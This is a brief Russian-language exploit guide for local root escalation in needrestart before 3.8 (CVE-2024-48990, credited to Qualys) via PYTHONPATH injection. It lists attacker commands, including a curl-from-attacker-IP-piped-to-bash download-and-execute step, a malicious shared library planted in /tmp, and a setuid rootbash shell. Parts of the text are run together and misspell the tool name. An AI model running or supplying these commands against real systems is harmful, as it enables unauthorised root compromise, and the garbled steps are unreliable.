
Полный эксплойт для needsrestart setuid root shell
Локальное повышение привилегий в needrestart < 3.8 через внедрение PYTHONPATH.
PYTHONPATH=/tmp/.m из /proc/[pid]/environPYTHONPATH/tmp/.m/importlib/__init__.so (нашу вредоносную библиотеку)/tmp/rootbash/tmp/rootbash -p для получения root-оболочкиКлючевой момент: needrestart доверяет переменным окружения из непривилегированных процессов и использует их при выполнении интерпретаторов от root.
Атакующий:
./compile.sh
python3 -m http.server 8000
Цель:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
Процесс e.py должен зависнуть и породить root после выполнения следующего из второго терминала:
sudo needsrestard
первый терминал запустит root-оболочку
Qualys Threat Research Unit - CVE-2024-48990